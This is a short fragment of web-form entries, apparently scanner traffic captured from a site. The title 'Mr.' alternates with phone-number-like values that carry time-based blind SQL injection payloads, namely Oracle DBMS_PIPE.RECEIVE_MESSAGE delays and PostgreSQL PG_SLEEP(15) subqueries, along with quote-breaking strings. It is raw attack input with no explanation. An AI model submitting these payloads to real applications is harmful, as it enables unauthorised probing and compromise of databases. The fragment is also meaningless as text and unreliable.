Mr.
555′”
Mr.
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
Mr.
555lfci5HML’ OR 625=(SELECT 625 FROM PG_SLEEP(15))–
Mr.
555-1)) OR 551=(SELECT 551 FROM PG_SLEEP(15))–
Mr.
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mr.
555-1)) OR 128=(SELECT 128 FROM PG_SLEEP(15))–